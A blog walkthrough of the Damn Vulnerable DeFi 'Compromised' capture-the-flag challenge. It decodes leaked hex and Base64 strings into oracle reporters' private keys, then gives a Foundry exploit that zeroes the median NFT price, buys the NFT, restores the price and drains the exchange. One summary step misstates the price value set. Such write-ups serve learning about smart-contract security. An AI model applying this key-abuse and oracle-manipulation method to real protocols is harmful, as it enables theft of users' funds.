Damn Vulnerable DeFi V4 - 07 Compromised


Challenge

While poking around a web service of one of the most popular DeFi projects in the space, you get a strange response from the server. Here’s a snippet:

HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare

4d 48 67 33 5a 44 45 31 59 6d 4a 68 4d 6a 5a 6a 4e 54 49 7a 4e 6a 67 7a 59 6d 5a 6a 4d 32 52 6a 4e 32 4e 6b 59 7a 56 6b 4d 57 49 34 59 54 49 33 4e 44 51 30 4e 44 63 31 4f 54 64 6a 5a 6a 52 6b 59 54 45 33 4d 44 56 6a 5a 6a 5a 6a 4f 54 6b 7a 4d 44 59 7a 4e 7a 51 30

4d 48 67 32 4f 47 4a 6b 4d 44 49 77 59 57 51 78 4f 44 5a 69 4e 6a 51 33 59 54 59 35 4d 57 4d 32 59 54 56 6a 4d 47 4d 78 4e 54 49 35 5a 6a 49 78 5a 57 4e 6b 4d 44 6c 6b 59 32 4d 30 4e 54 49 30 4d 54 51 77 4d 6d 46 6a 4e 6a 42 69 59 54 4d 33 4e 32 4d 30 4d 54 55 35

A related on-chain exchange is selling (absurdly overpriced) collectibles called “DVNFT”, now at 999 ETH each.

This price is fetched from an on-chain oracle, based on 3 trusted reporters: 0x188...088, 0xA41...9D8 and 0xab3...a40.

Starting with just 0.1 ETH in balance, pass the challenge by rescuing all ETH available in the exchange. Then deposit the funds into the designated recovery account.


Solve

Our goal is to drain all of the ETH from exchange and deposit it into recovery account.

function _isSolved() private view {
    // Exchange doesn't have ETH anymore
    assertEq(address(exchange).balance, 0);

    // ETH was deposited into the recovery account
    assertEq(recovery.balance, EXCHANGE_INITIAL_ETH_BALANCE);

    // Player must not own any NFT
    assertEq(nft.balanceOf(player), 0);

    // NFT price didn't change
    assertEq(oracle.getMedianPrice("DVNFT"), INITIAL_NFT_PRICE);
}

The only way we could drain all of the ETH from exchange is via calling sellOne() function, but it requires us to hold at least one NFT.

The NFT prices have been set to 999 ether, which means we must manipulate NFT price via TrustfulOracle contract before buying a NFT.

Only trusted sources can call TrustfulOracle.postPrice() to change the NFT price, there’s no way we could bypass this limitation.

However, if we decode the HTTP package, we can get two ASCII string:

// Decode: Hexadecimal -> ASCII 
4d 48 67 33 5a 44 45 31 59 6d 4a 68 4d 6a 5a 6a 4e 54 49 7a 4e 6a 67 7a 59 6d 5a 6a 4d 32 52 6a 4e 32 4e 6b 59 7a 56 6b 4d 57 49 34 59 54 49 33 4e 44 51 30 4e 44 63 31 4f 54 64 6a 5a 6a 52 6b 59 54 45 33 4d 44 56 6a 5a 6a 5a 6a 4f 54 6b 7a 4d 44 59 7a 4e 7a 51 30
->
MHg3ZDE1YmJhMjZjNTIzNjgzYmZjM2RjN2NkYzVkMWI4YTI3NDQ0NDc1OTdjZjRkYTE3MDVjZjZjOTkzMDYzNzQ0

// Decode: Hexadecimal -> ASCII 
4d 48 67 32 4f 47 4a 6b 4d 44 49 77 59 57 51 78 4f 44 5a 69 4e 6a 51 33 59 54 59 35 4d 57 4d 32 59 54 56 6a 4d 47 4d 78 4e 54 49 35 5a 6a 49 78 5a 57 4e 6b 4d 44 6c 6b 59 32 4d 30 4e 54 49 30 4d 54 51 77 4d 6d 46 6a 4e 6a 42 69 59 54 4d 33 4e 32 4d 30 4d 54 55 35
->
MHg2OGJkMDIwYWQxODZiNjQ3YTY5MWM2YTVjMGMxNTI5ZjIxZWNkMDlkY2M0NTI0MTQwMmFjNjBiYTM3N2M0MTU5

These two ASCII strings are Base64 encoded, if we decode it, we can get two ASCII strings start with "0x":

// Decode: Base64 -> ASCII 
MHg3ZDE1YmJhMjZjNTIzNjgzYmZjM2RjN2NkYzVkMWI4YTI3NDQ0NDc1OTdjZjRkYTE3MDVjZjZjOTkzMDYzNzQ0
->
0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744

// Decode: Base64 -> ASCII 
MHg2OGJkMDIwYWQxODZiNjQ3YTY5MWM2YTVjMGMxNTI5ZjIxZWNkMDlkY2M0NTI0MTQwMmFjNjBiYTM3N2M0MTU5
->
0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159

Hmmm…does it look like an Ethereum private key? let’s try to recover its wallet address.

from eth_account import Account

magic_decode_output_1 = "0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744"
magic_decode_output_2 = "0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159"

private_key_1 = Account.from_key(magic_decode_output_1)
private_key_2 = Account.from_key(magic_decode_output_2)

wallet_address_1 = private_key_1.address
wallet_address_2 = private_key_2.address

print(f"Ethereum Address 1: {wallet_address_1}")
# Ethereum Address 1: 0x188Ea627E3531Db590e6f1D71ED83628d1933088
print(f"Ethereum Address 2: {wallet_address_2}")
# Ethereum Address 2: 0xA417D473c40a4d42BAd35f147c21eEa7973539D8

Wow! This is the private key of two of the trusted sources! This means we could manipulate NFT price via TrustfulOracle.postPrice() function.

The next question is: how does TrustfulOracle.getMedianPrice() function get the medium price?

function _computeMedianPrice(string memory symbol) private view returns (uint256) {
    uint256[] memory prices = getAllPricesForSymbol(symbol);
    LibSort.insertionSort(prices);
    if (prices.length % 2 == 0) {
        uint256 leftPrice = prices[(prices.length / 2) - 1];
        uint256 rightPrice = prices[prices.length / 2];
        return (leftPrice + rightPrice) / 2;
    } else {
        return prices[prices.length / 2];
    }
}

We already knew the prices.length is 3, because there’s only 3 trusted source.

So the _computeMedianPrice() function always return (leftPrice + rightPrice) / 2.

[price1, price2, price3]
  left   right

By using leaked private keys, we could control price1 and price2 to make TrustfulOracle.getMedianPrice() function return 0.

vm.prank(0x188Ea627E3531Db590e6f1D71ED83628d1933088);
oracle.postPrice("DVNFT", 0);

vm.prank(0xA417D473c40a4d42BAd35f147c21eEa7973539D8);
oracle.postPrice("DVNFT", 0);

Let’s summarize the attack steps:

  1. Call oracle.postPrice("DVNFT", 0) to make NFT price become 0.

  2. Call exchange.buyOne() to buy an NFT.

  3. Call oracle.postPrice("DVNFT", 0) to make NFT price become 999 ethers.

  4. Call exchange.sellOne() to sell an NFT.

  5. Transfer profit into recovery account.

Full solution code:

function test_compromised() public checkSolved {
    vm.prank(0x188Ea627E3531Db590e6f1D71ED83628d1933088);
    oracle.postPrice("DVNFT", 0);

    vm.prank(0xA417D473c40a4d42BAd35f147c21eEa7973539D8);
    oracle.postPrice("DVNFT", 0);

    vm.prank(player);
    exchange.buyOne{value: 1}();


    vm.prank(0x188Ea627E3531Db590e6f1D71ED83628d1933088);
    oracle.postPrice("DVNFT", INITIAL_NFT_PRICE);

    vm.prank(0xA417D473c40a4d42BAd35f147c21eEa7973539D8);
    oracle.postPrice("DVNFT", INITIAL_NFT_PRICE);

    vm.startPrank(player);
    nft.approve(address(exchange), 0);
    exchange.sellOne(0);
    payable(recovery).transfer(EXCHANGE_INITIAL_ETH_BALANCE);
}

Potential Solution

None, this level is just designed for fun.

0
Subscribe to my newsletter

Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

whiteberets[.]eth
whiteberets[.]eth

Please don't OSINT me, I'd be shy. 🫣